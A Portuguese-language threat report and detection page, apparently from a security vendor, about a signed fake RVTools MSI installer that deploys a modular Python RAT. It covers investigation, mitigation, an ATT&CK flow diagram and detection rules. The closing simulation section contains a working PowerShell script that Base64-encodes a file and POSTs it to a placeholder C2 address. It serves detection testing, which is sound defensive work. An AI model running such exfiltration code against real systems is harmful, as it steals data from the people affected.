RVTools Mascarada: Como um Installer Falso Assinado Implanta um RAT Modular em Python
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Um instalador MSI malicioso assinado com um certificado legítimo se disfarça como a utilidade RVTools usada por administradores do VMware. Uma vez executado, o instalador solta um VBScript que lança o PowerShell para baixar um grande arquivo ZIP do Dropbox. Esse arquivo contém um ambiente Python portátil que executa um RAT em várias etapas, capaz de reconhecimento, persistência e comunicação com servidores de comando e controle com endereços hard-coded.
Investigação
A análise rastreou o MSI para uma ação de VBScript personalizada, Binary.MyScript.vbs, que decodificou um comando PowerShell ofuscado. Esse comando baixava um winp.zip payload em %APPDATA%, extraía componentes e scripts Python, como collector.py and Pmanager.py, e então estabelecia persistência por meio de chaves de execução do registro e uma tarefa agendada após a reinicialização. Os pesquisadores também descobriram que o RAT criptografava dados coletados com RC4 e enviava sinais para cinco endereços IP fixos em intervalos de cinco minutos.
Mitigação
As organizações devem impor validações rigorosas de assinatura de código com verificações ao vivo de OCSP ou CRL, bloquear a execução de MSI não confiáveis e monitorar ações de VBScript personalizadas suspeitas embutidas em pacotes de instalação. Os defensores também devem prevenir a execução automática de scripts baixados, observar novas entradas de chave Run e a criação de tarefas agendadas, e alertar sobre o tráfego de saída para endereços IP hard-coded não familiares.
Resposta
Se esta atividade for detectada, isole o endpoint afetado imediatamente, colete o MSI, VBScript e arquivos de payload extraídos para análise forense, e remova todos os artefatos de persistência, incluindo a chave Run e a tarefa agendada. Os endereços IP de comando e controle identificados devem ser bloqueados no firewall, e uma revisão mais ampla de credenciais e da atividade do Active Directory deve ser realizada para determinar se ocorreu movimento lateral.
"graph TB %% Class definitions classDef phase fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef artifact fill:#e0e0e0 classDef persistence fill:#c2f0c2 classDef c2 fill:#f9c2c2 classDef evasion fill:#f0e68c %% Phases phase_initial_access["<b>Fase</b>: Acesso Inicial<br/><b>Ação</b> – A vítima executa um MSI malicioso assinado que se disfarça como RVTools."] class phase_initial_access phase phase_execution["<b>Fase</b>: Execução<br/><b>Ação</b> – O MSI usa Msiexec para executar um VBScript que lança um downloader PowerShell oculto."] class phase_execution phase phase_payload["<b>Fase</b>: Implantação de Payload<br/><b>Ação</b> – Arquivo é descompactado em um ambiente portátil WinPython contendo collector.py e manager.py."] class phase_payload phase phase_persistence["<b>Fase</b>: Persistência<br/><b>Ação</b> – O gerenciador Python cria chave de execução no Registro, Tarefa Agendada e entrada de Configuração Ativa."] class phase_persistence phase phase_c2["<b>Fase</b>: Comando e Controle<br/><b>Ação</b> – Dados coletados são arquivados, criptografados com RC4 e exfiltrados via HTTP POST para IPs hardu2011coded."] class phase_c2 phase phase_evasion["<b>Fase</b>: Evasão de Defesa<br/><b>Ação</b> – Uso de binários assinados, execução por proxy e ofuscação de caracteres para evitar detecções."] class phase_evasion phase %% Techniques for Initial Access tech_user_execution["<b>Técnica</b> T1204.002 Execução por Usuário: Arquivo Malicioso<br/>A vítima executa um arquivo malicioso que acredita ser legítimo."] class tech_user_execution technique tech_masquerading["<b>Técnica</b> T1036.001 Disfarce<br/>Binário é assinado e nomeado como uma utilidade legítima (RVTools)."] class tech_masquerading technique tech_trusted_dev_proxy["<b>Técnica</b> T1127 Execução por Proxy de Ferramentas de Desenvolvedor Confiáveis<br/>Binário assinado é usado para burlar verificações de reputação."] class tech_trusted_dev_proxy technique %% Techniques for Execution tech_msiexec_proxy["<b>Técnica</b> T1218.007 Execução por Proxy de Binário do Sistema: Msiexec<br/>Msiexec é invocado para executar o MSI malicioso."] class tech_msiexec_proxy technique tech_vbscript["<b>Técnica</b> T1059.005 Comando e Interpretador de Scripts: Visual Basic<br/>Ação personalizada lança um payload VBScript."] class tech_vbscript technique tech_powershell["<b>Técnica</b> T1059.001 Comando e Interpretador de Scripts: PowerShell<br/>VBScript decodifica e executa um comando PowerShell de download oculto."] class tech_powershell technique %% Techniques for Payload Deployment tech_archive_custom["<b>Técnica</b> T1560.003 Arquivamento de Dados Coletados: Arquivo por Método Personalizado<br/>33u202fMB zip (winp.zip) é baixado e descompactado para criar um ambiente Python portátil."] class tech_archive_custom technique %% Techniques for Persistence tech_registry_run["<b>Técnica</b> T1037.004 Scripts de Inicialização na Inicialização ou Logon: Execução do Registro<br/>Chave de execução no Registro é criada para lançar manager.py na inicialização."] class tech_registry_run persistence tech_scheduled_task["<b>Técnica</b> T1053 Tarefas/Jobs Agendados<br/>Tarefa agendada diária é criada para executar com privilégios do SISTEMA."] class tech_scheduled_task persistence tech_active_setup["<b>Técnica</b> T1547.014 Execução de Inicialização ou Logon Automático: Configuração Ativa<br/>Entrada de Configuração Ativa é adicionada para garantir execução para cada usuário."] class tech_active_setup persistence tech_hijack_execution["<b>Técnica</b> T1574 Sequestro de Fluxo de Execução<br/>Tarefa agendada é usada para sequestrar caminhos de execução normais."] class tech_hijack_execution evasion %% Techniques for Command and Control tech_exfil_unencrypted["<b>Técnica</b> T1048.003 Exfiltração Sobre Protocolo Não-C2 Não Criptografado<br/>Dados são enviados via HTTP POST para endereços IP hardu2011coded."] class tech_exfil_unencrypted c2 tech_exfil_asymmetric["<b>Técnica</b> T1048.002 Exfiltração Sobre Protocolo Não-C2 Criptografado Assimetricamente<br/>Dados são criptografados com RC4 antes de serem transmitidos."] class tech_exfil_asymmetric c2 %% Techniques for Defense Evasion tech_system_script_proxy["<b>Técnica</b> T1216.002 Execução de Script do Sistema por Proxy: SyncAppvPublishingServer<br/>Scripts confiáveis agem como proxies para ocultar atividade maliciosa."] class tech_system_script_proxy evasion tech_system_binary_proxy["<b>Técnica</b> T1218 Execução de Binário do Sistema por Proxy<br/>Utilitários assinados (Msiexec) são abusados para burlar controle de aplicativos."] class tech_system_binary_proxy evasion %% Artifacts artifact_msi["<b>Artefato</b>: malicious_RVTools.msi<br/>MSI assinado usado para acesso inicial."] class artifact_msi artifact artifact_zip["<b>Artefato</b>: winp.zip<br/>Arquivo hospedado no Dropbox contendo WinPython portátil."] class artifact_zip artifact artifact_python_env["<b>Artefato</b>: Ambiente WinPython<br/>Contém collector.py e manager.py para reconhecimento."] class artifact_python_env artifact artifact_registry_key["<b>Artefato</b>: Chave de Execução do Registro<br/>HKCUSoftwareMicrosoftWindowsCurrentVersionRunWinPythonMgr"] class artifact_registry_key artifact artifact_scheduled_task["<b>Artefato</b>: Tarefa Agendada<br/>Nome: WinPythonDaily, executa com SISTEMA."] class artifact_scheduled_task artifact artifact_active_setup["<b>Artefato</b>: Entrada de Configuração Ativa<br/>HKLMSoftwareMicrosoftActive SetupInstalled ComponentsWinPython"] class artifact_active_setup artifact artifact_c2_ip["<b>Artefato</b>: Endereços IP C2<br/>Endereços IPv4 hardu2011coded contatados via HTTP."] class artifact_c2_ip artifact %% Connections phase_initial_access –>|usa| tech_user_execution phase_initial_access –>|usa| tech_masquerading phase_initial_access –>|usa| tech_trusted_dev_proxy phase_initial_access –>|entrega| artifact_msi tech_user_execution –>|executa| artifact_msi tech_masquerading –>|habilita| artifact_msi tech_trusted_dev_proxy –>|bypassa| artifact_msi phase_execution –>|alavanca| tech_msiexec_proxy tech_msiexec_proxy –>|executa| tech_vbscript tech_vbscript –>|lança| tech_powershell tech_powershell –>|baixa| artifact_zip artifact_zip –>|descompactado para criar| artifact_python_env phase_payload –>|contém| artifact_python_env phase_persistence –>|cria| tech_registry_run phase_persistence –>|cria| tech_scheduled_task phase_persistence –>|cria| tech_active_setup phase_persistence –>|usa| tech_hijack_execution tech_registry_run –>|escreve| artifact_registry_key tech_scheduled_task –>|cria| artifact_scheduled_task tech_active_setup –>|escreve| artifact_active_setup phase_c2 –>|arquiva e criptografa dados| tech_archive_custom tech_archive_custom –>|envia via| tech_exfil_unencrypted tech_exfil_unencrypted –>|usa| artifact_c2_ip tech_exfil_unencrypted –>|também usa| tech_exfil_asymmetric phase_evasion –>|aplica| tech_system_script_proxy phase_evasion –>|aplica| tech_system_binary_proxy tech_system_binary_proxy –>|facilita| tech_msiexec_proxy tech_system_script_proxy –>|facilita| tech_vbscript "
Fluxo de Ataque
Detecções
LOLBAS WScript / CScript (via criação_de_processo)
Visualizar
Execução de Python de Pastas Suspeitas (via linha_de_comando)
Visualizar
A Possibilidade de Execução Através de Linhas de Comando PowerShell Ocultas (via linha_de_comando)
Visualizar
Um Arquivo Foi Extraído para Diretório Suspeito Usando Powershell (via powershell)
Visualizar
Consultas DNS de Subdomínios da API do Dropbox Possivelmente Iniciadas por Processos Não Legítimos (via consulta_dns)
Visualizar
IOCs (HashSha256) para detectar: Disfarce RVTools: Como um Instalador Falso Assinado Implanta um RAT Modular em Python
Visualizar
IOCs (HashMd5) para detectar: Disfarce RVTools: Como um Instalador Falso Assinado Implanta um RAT Modular em Python
Visualizar
Detecção de Exfiltração de Dados via IPs Codificados e HTTP POST [Conexão de Rede do Windows]
Visualizar
Detecção de Execução PowerShell Maliciosa Oculta e Invoke-WebRequest [Windows Powershell]
Visualizar
Instalador Falso RVTools Suspeito Implantando RAT em Python [Criação de Processo do Windows]
Visualizar
Execução de Simulação
Pré-Requisito: O Check de Pré-voo de Telemetria & Baseline deve ter passado.
Racional: Esta seção detalha a execução precisa da técnica de adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente as TTPs identificadas e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa de Ataque & Comandos:
Um adversário que já estabeleceu uma base na máquina da vítima decide exfiltrar um pequeno conjunto de dados (por exemplo,C:Tempsecret.txt). Para evitar acionar alertas genéricos de tráfego de saída, o ator usa uma PowerShell linha-única que executa um HTTP POST diretamente para um dos IPs C2 codificados (192.0.2.10). O comando é agendado via um Tarefa Agendada do Windows para garantir persistência (T1546.013). Nenhum binário adicional é baixado, mantendo a atividade como ‘vivendo da terra’. -
Script de Teste de Regressão:
# ------------------------------------------------- # Script PowerShell – Exfiltração de dados via IP codificado # ------------------------------------------------- $c2Ip = "192.0.2.10" $c2Port = 80 $uri = "http://$c2Ip/exfil" $file = "C:Tempsecret.txt" # Garantir que o arquivo exista (criar dados fictícios para teste) if (-Not (Test-Path $file)) { "dados sensíveis $(Get-Date)" | Out-File -FilePath $file -Encoding ASCII } # Ler conteúdo do arquivo e codificar em Base64 $payload = [Convert]::ToBase64String([IO.File]::ReadAllBytes($file)) # Executar o HTTP POST $body = @{ data = $payload } try { Invoke-WebRequest -Uri $uri -Method POST -Body $body -UseBasicParsing -TimeoutSec 10 Write-Host "Tentativa de exfiltração enviada para $c2Ip" } catch { Write-Error "Exfiltração falhou: $_" } -
Comandos de Limpeza:
# Remover o arquivo fictício Remove-Item -Path "C:Tempsecret.txt" -Force -ErrorAction SilentlyContinue # Excluir qualquer tarefa agendada criada para o teste (se houver) $taskName = "DataExfilTask" if (Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue) { Unregister-ScheduledTask -TaskName $taskName -Confirm:$false }